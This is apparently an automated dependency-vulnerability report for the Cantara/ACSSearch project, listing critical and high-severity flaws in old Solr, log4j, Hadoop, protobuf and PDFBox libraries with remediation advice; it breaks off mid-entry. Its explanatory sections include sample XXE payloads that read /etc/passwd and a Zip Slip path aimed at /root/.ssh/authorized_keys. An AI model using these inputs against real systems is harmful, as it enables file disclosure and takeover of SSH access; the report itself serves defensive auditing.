Vulnerabilities

119 via 185 paths

Dependencies

83

Source

GitHub

Commit

1dad3401

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 119
  • 1
Severity
  • 6
  • 38
  • 67
  • 9
Status
  • 120
  • 0
  • 0

critical severity

Arbitrary Code Execution

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@7.3.1.

Overview

commons-fileupload:commons-fileupload The Apache Commons FileUpload library contains a Java Object that, upon deserialization, can be manipulated to write or copy files in arbitrary locations. If integrated with ysoserial, it is possible to upload and execute binaries in a single deserialization call.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

  • Apache Blog

Remediation

Upgrade commons-fileupload to version 1.3.3 or higher.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

There is no fixed version for log4j:log4j.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.hadoop:hadoop-common
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-common@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the FileUtil.unTar() API due to improper escape of the input file name before it passed to the shell.

Note:

In vulnerable 3.3.x versions FileUtil.unTar() is used through InMemoryAliasMap.completeBootstrapTransfer, which is only ever run by a local user.

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 2.10.2, 3.2.4, 3.3.3 or higher.

References

critical severity

Arbitrary File Write via Archive Extraction (Zip Slip)

  • Vulnerable module: org.apache.hadoop:hadoop-common
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-common@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) in FileUtil where unpackEntries during TAR extraction follows symbolic links which allows writing outside the expected base directory on Windows. This is because getCanonicalPath doesn't resolve symbolic links on Windows.

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 2.10.2, 3.2.3, 3.3.3-RC0 or higher.

References

critical severity

Information Exposure

  • Vulnerable module: org.apache.hadoop:hadoop-common
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-common@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.6.1.

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of the package are vulnerable to Information Exposure.

If you use the CredentialProvider feature to encrypt passwords used in NodeManager configs, it may be possible for any Container launched by that NodeManager to gain access to the encryption password. The other passwords themselves are not directly exposed.

Remediation

Upgrade org.apache.hadoop:hadoop-common to versions 2.6.5, 2.7.3 or higher

References

critical severity

Arbitrary Command Injection

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.5.0.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Arbitrary Command Injection. Clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running to the tika-server.

Remediation

Upgrade org.apache.tika:tika-core to version 1.18 or higher.

References

high severity

Integer Overflow

  • Vulnerable module: com.google.protobuf:protobuf-java
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.protobuf:protobuf-java@2.5.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.0.0.

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Integer Overflow by allowing remote authenticated attackers to cause a heap-based buffer overflow in serialisation process.

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.4.0 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.google.protobuf:protobuf-java
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.protobuf:protobuf-java@2.5.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.0.0.

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow via the parsing of nested groups or series of SGROUP tags as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields. An attacker can cause infinite recursion by sending malicious Protocol Buffer data.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.25.5, 4.27.5, 4.28.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@8.6.0.

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when processing multipart headers. An attacker can exhaust system resources by sending malicious requests with excessively large individual multipart headers.

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.6.0 or higher.

References

high severity

Execution with Unnecessary Privileges

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.8.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@9.8.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Execution with Unnecessary Privileges due to the potential for attackers to control what configset is loaded by the FileSystemConfigSetService component (in use by default in standalone and user-managed modes) during core creation. A trusted config can be replaced by a malicious one, which specifies arbitrary classes as <lib> elements, which will then be added to the classpath.

Workaround

This vulnerability can be mitigated by enforcing authorization on the affected cluster, and avoided entirely by using SolrCloud rather than FileSystemConfigSetService.

Remediation

Upgrade org.apache.solr:solr-core to version 9.8.0 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.xmlbeans:xmlbeans
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.xmlbeans:xmlbeans@2.3.0
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The XML parsers used by XMLBeans did not set the properties needed to protect the user from malicious XML input. Vulnerabilities include possibilities for XML Entity Expansion attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.xmlbeans:xmlbeans to version 3.0.0 or higher.

References

high severity

Buffer Overflow

  • Vulnerable module: com.drewnoakes:metadata-extractor
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 com.drewnoakes:metadata-extractor@2.6.2
    Remediation: Upgrade to org.apache.solr:solr-cell@8.7.0.

Overview

com.drewnoakes:metadata-extractor is a Java library for reading metadata from image files.

Affected versions of this package are vulnerable to Buffer Overflow. Extraction of light source metadata data from an invalid/corrupt image file can lead to an infinite loop recursion within PanasonicRawWbInfo2 descriptor class, resulting in stack consumption.

Remediation

Upgrade com.drewnoakes:metadata-extractor to version v2.13.0 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104.

Note: this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default.

Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

SQL Injection

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to SQL Injection. By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed.

Note: this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default.

Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs.

Remediation

There is no fixed version for log4j:log4j.

References

high severity

Infinite loop

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Infinite loop due to the improper handling of certain inputs during the parsing of dump files. An attacker can cause the application to enter an infinite loop by supplying crafted inputs.

Remediation

Upgrade org.apache.commons:commons-compress to version 1.26.0 or higher.

References

high severity

Authorization Bypass Through User-Controlled Key

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.zookeeper:zookeeper@3.4.6
    Remediation: Upgrade to org.apache.solr:solr-solrj@9.1.0.

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key when the SASL Quorum Peer authentication is enabled (`quorum.auth.enableSasl=true), an attacker can bypass the authorization check by omitting the instance part in the SASL authentication ID. This allows an arbitrary endpoint to join the cluster and propagate counterfeit changes to the leader, effectively granting it full read-write access to the data tree.

Note:

  1. This is only exploitable if quorum.auth.enableSasl=true is set in the configuration.

  2. Quorum Peer authentication is not enabled by default.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.7.2, 3.8.3, 3.9.1 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.pdfbox:jempbox
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.pdfbox:jempbox@1.8.4
    Remediation: Upgrade to org.apache.solr:solr-cell@6.2.0.

Overview

org.apache.pdfbox:jempbox Apache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.pdfbox:pdfbox
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.pdfbox:pdfbox@1.8.4
    Remediation: Upgrade to org.apache.solr:solr-cell@6.2.0.

Overview

[org.apache.pdfbox:pdfbox ](http://search.maven.org/#search%7Cga%7C1%7Ca%3A%22pdfbox %22) Apache PDFBox XML External Entity (XXE) attack Apache PDFBox before 1.8.12 and 2.x before 2.0.1 does not properly initialize the XML parsers, which allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted PDF.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

References

high severity

Arbitrary File Read

  • Vulnerable module: com.adobe.xmp:xmpcore
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 com.adobe.xmp:xmpcore@5.1.2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

com.adobe.xmp:xmpcore is a XMP Library for Java, based on the C++ XMPCore library.

XMPCore in Adobe XMP Toolkit for Java before 5.1.3 allows remote attackers to read arbitrary files via XML data containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.google.protobuf:protobuf-java
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.protobuf:protobuf-java@2.5.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.0.0.

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Denial of Service (DoS). An issue in protobuf-java allowed the interleaving of com.google.protobuf.UnknownFieldSet fields in such a way that would be processed out of order. A small malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated pauses.

Note: Protobuf javalite users are not affected.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.16.1, 3.18.2, 3.19.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.google.protobuf:protobuf-java
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.protobuf:protobuf-java@2.5.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.0.0.

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Denial of Service (DoS) in MessageReflection.java due to a text format parsing issue. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: dom4j:dom4j
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 dom4j:dom4j@1.6.1

Overview

